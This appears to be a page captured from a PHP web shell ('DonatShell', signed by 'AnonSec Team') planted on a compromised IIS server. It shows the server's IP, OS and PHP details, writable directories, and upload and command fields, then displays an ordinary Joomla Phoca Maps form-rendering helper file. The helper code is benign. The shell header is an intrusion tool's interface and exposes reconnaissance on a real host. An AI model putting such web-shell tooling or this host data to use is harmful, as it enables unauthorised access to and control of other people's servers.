DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /AppServ/www/app/webroot/news/administrator/components/com_phocamaps/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /AppServ/www/app/webroot/news/administrator/components/com_phocamaps/helpers/phocamapsrender.php
<?php
/*
 * @package Joomla 1.5
 * @copyright Copyright (C) 2005 Open Source Matters. All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
 *
 * @component Phoca Component
 * @copyright Copyright (C) Jan Pavelka www.phoca.cz
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
 */
defined('_JEXEC') or die();
class PhocaMapsRender
{
	function quickIconButton( $component, $link, $image, $text ) {
		
		$lang	= &JFactory::getLanguage();
		$button = '';
		if ($lang->isRTL()) {
			$button .= '<div style="float:right;">';
		} else {
			$button .= '<div style="float:left;">';
		}
		$button .=	'<div class="icon">'
				   .'<a href="'.$link.'">'
				   .JHTML::_('image.site',  $image, '/components/'.$component.'/assets/images/', NULL, NULL, $text )
				   .'<span>'.$text.'</span></a>'
				   .'</div>';
		$button .= '</div>';

		return $button;
	}
	
	function renderFormInput($name, $title, $value, $size = 50, $maxlength = 250, $attribute = '', $style = '', $description = '', $warning = '') {
		
		$styleOutput = '';
		if ($style != '') {
			$styleOutput = 'style="'.$style.'"';
		}
		
		$descOutput = '';
		if ($description != '') {
			$descOutput = ' class="hasTip" title="' .JText::_($title) . '::' . JText::_($description) .'"';
		}
		
		$output = '<tr>'
				 .'<td width="100" align="right" class="key">'
				 .'<label for="'.$name.'" '.$descOutput.' >'.JText::_($title).':</label>'
				 .'</td><td>'
				 .'<input class="text_area" type="text" name="'.$name.'" id="'.$name.'" size="'.$size.'" maxlength="'.$maxlength.'" value="'.$value.'" '.$attribute.' '.$styleOutput.' />'
				.'</td>';
		if ($warning != '') {
			$output .= '<td>'.$warning.'</td>';
		}		
		$output .= '</tr>';
		return $output;
	}
	
	function renderFormTextArea($name, $title, $value, $cols = 60, $rows = 5, $style = '', $description = '', $warning = '') {
		
		$styleOutput = '';
		if ($style != '') {
			$styleOutput = 'style="'.$style.'"';
		}
		
		$descOutput = '';
		if ($description != '') {
			$descOutput = ' class="hasTip" title="' .JText::_($title) . '::' . JText::_($description) .'"';
		}
		
		$output = '<tr>'
				 .'<td width="100" align="right" class="key">'
				 .'<label for="'.$name.'" '.$descOutput.' >'.JText::_($title).':</label>'
				 .'</td><td>'
				 .'<textarea class="text_area" cols="'.$cols.'" rows="'.$rows.'" name="'.$name.'" id="'.$name.'" '.$styleOutput.'>'.$value.'</textarea>'
				.'</td>';
				
		if ($warning != '') {
			$output .= '<td>'.$warning.'</td>';
		}		
		$output .= '</tr>';
		return $output;
	}

	
	function renderFormItemSpecial($name, $title, $special, $description = '', $warning = '') {
		
		$descOutput = '';
		if ($description != '') {
			$descOutput = ' class="hasTip" title="' .JText::_($title) . '::' . JText::_($description) .'"';
		}
		
		$output = '<tr>'
				 .'<td width="100" align="right" class="key">'
				 .'<label for="'.$name.'" '.$descOutput.' >'.JText::_($title).':</label>'
				 .'</td><td>'
				 . $special
				 .'</td>';
		
		if ($warning != '') {
			$output .= '<td>'.$warning.'</td>';
		}		
		$output .= '</tr>';
		
		return $output;
	}
	
	function renderFormItemImageButton($name, $title, $value, $size = 50, $maxlength = 250, $button, $attribute = '', $style = '', $description = '', $warning = '') {
	
		$styleOutput = '';
		if ($style != '') {
			$styleOutput = 'style="'.$style.'"';
		}
		
		$descOutput = '';
		if ($description != '') {
			$descOutput = ' class="hasTip" title="' .JText::_($title) . '::' . JText::_($description) .'"';
		}
			
		$output = '<tr>'
				 .'<td width="100" align="right" class="key">'
				 .'<label for="'.$name.'" '.$descOutput.' >'.JText::_($title).':</label>'
				 .'</td><td>'
				 .'<input class="text_area" type="text" name="'.$name.'" id="'.$name.'" value="'.$value.'" size="'.$size.'" maxlength="'.$maxlength.'" '.$attribute.' '.$styleOutput.' />'
				 .'</td>'
				 .'<td align="left" valign="middle">'
				 .'<div class="button2-left" style="display:inline">'
				 .'<div class="'.$button->name.'">'
				 .'<a class="'.$button->modalname.'" title="'.$button->text.'" href="'.$button->link.'" rel="'.$button->options.'">'.$button->text.'</a>'
				 .'</div>'
				 .'</div>'
				 .'</td>';
				 
		if ($warning != '') {
			$output .= '<td>'.$warning.'</td>';
		}		
		$output .= '</tr>';
		
		return $output;
	}
	
	
	function renderFormStyle() {
	
		$output = '<style type="text/css">'
				.'table.paramlist td.paramlist_key {'
				.'width: 92px;'
				.'text-align: left;'
				.'height: 30px;'
				.'}'
				.'</style>';
		return $output;
	}
	
	function renderSubmitButtonJs($itemArray) {
	
		$output = "\n" .'<script language="javascript" type="text/javascript">' . "\n";
		$output .= 'function submitbutton(pressbutton) {' ."\n"
				.'	var form = document.adminForm;' ."\n"
				.'	if (pressbutton == \'cancel\') {' ."\n"
				.'		submitform( pressbutton );' ."\n"
				.'		return;' ."\n"
				.'	}' . "\n\n";
		
		if (is_array($itemArray)) {
		
			foreach ($itemArray as $key => $value) {
			
				if ($value[3] == 0) {
					$equal = '0';
				} else {
					$equal = '""';
				}
				
				if ($key == 0) {
					$output .= 'if (form.'.$value[0].'.value == '.$equal.'){' . "\n"
							.'    alert( "'.JText::_($value[1], $value[2] ).'" )' . "\n"
							.' }';
				
				}
				if ($key > 0) {
					$output .= ' else if (form.'.$value[0].'.value == '.$equal.'){' . "\n"
							.'    alert( "'.JText::_($value[1], $value[2] ).'" )' . "\n"
							.' }';
				
				}
			}
		}
		
		$output .= ' else {' . "\n"
				.'    submitform( pressbutton );'."\n"
				.' }'. "\n"
				.'}'. "\n";
		$output .= '</script>';
		
		return $output;
	}
	
	function renderFormInputRadioButton($name, $title, $value, $option, $design = 0, $style = '', $description = '', $warning = '') {
		
		$styleOutput = '';
		if ($style != '') {
			$styleOutput = 'style="'.$style.'"';
		}
		
		$descOutput = '';
		if ($description != '') {
			$descOutput = ' class="hasTip" title="' .JText::_($title) . '::' . JText::_($description) .'"';
		}
		
		$output = '<tr>'
				 .'<td width="100" align="right" class="key">'
				 .'<label for="'.$name.'" '.$descOutput.'>'.JText::_($title).':</label>'
				 .'</td><td>';
		
		$i = 1;
		foreach ($option as $keyO => $valueO) {
			$checked = '';
			if ($value == $keyO) {
				$checked = 'checked="checked"';
			}
			
			$output .= '<input class="text_area" type="radio" name="'.$name.'" id="'.$name.$keyO.'" value="'.$keyO.'" '.$styleOutput.' '.$checked.' />';
			// DESIGN SETTINGS - - - - - 
			if ($design == 1) {
				$output .= ' <span>'.JText::_($valueO). '</span> ';
				if ($valueO == 'greywb') { $valueO = 'grey';}
				if ($valueO == 'none') {
					$output .= '<br />';
				} else {
					$output .= JHTML::_('image', 'components/com_phocamaps/assets/images/box-'.$valueO.'-tl.png', '') . '<br />';
				}
			}
			
			if ($design == 2) {
				$output .= ' <span>'.JText::_($valueO). '</span> ';
				if ($valueO == 'default') {
					$output .= '<br />';
				} else {
					$output .= JHTML::_('image', 'components/com_phocamaps/assets/images/'.$valueO.'/image.png', '');
					if($i % 5 == 0) {
						$output .= '<br />';
					} else {
						$output .='   ';
					}
					$i++;
				}
			}
			// - - - - - - - - - - - - - - - - - - 
		}
		$output .= '</td>';
		
		if ($warning != '') {
			$output .= '<td>'.$warning.'</td>';
		}		
		$output .= '</tr>';
		return $output;
	}
	
	function renderFormSelectBox($name, $title, $value, $option, $style = '', $description = '', $warning = '') {
		
		$styleOutput = '';
		if ($style != '') {
			$styleOutput = 'style="'.$style.'"';
		}
		
		$descOutput = '';
		if ($description != '') {
			$descOutput = ' class="hasTip" title="' .JText::_($title) . '::' . JText::_($description) .'"';
		}
		
		$output = '<tr>'
				 .'<td width="100" align="right" class="key">'
				 .'<label for="'.$name.'" '.$descOutput.' >'.JText::_($title).':</label>'
				 .'</td><td>';
		
		$output .= '<select class="text_area" name="'.$name.'" id="'.$name.'" '.$styleOutput.' />';		
		foreach ($option as $keyO => $valueO) {
			$selected = '';
			if ($value == $keyO) {
				$selected = 'selected="selected"';
			}
			
			$output .= '<option value="'.$keyO.'" '.$selected.' />'.JText::_($valueO).'</option>';
		}
		$output .= '</select>';
		$output .= '</td>';
		
		if ($warning != '') {
			$output .= '<td>'.$warning.'</td>';
		}		
		$output .= '</tr>';
		
		return $output;
	}
}

Anon7 - 2022
AnonSec Team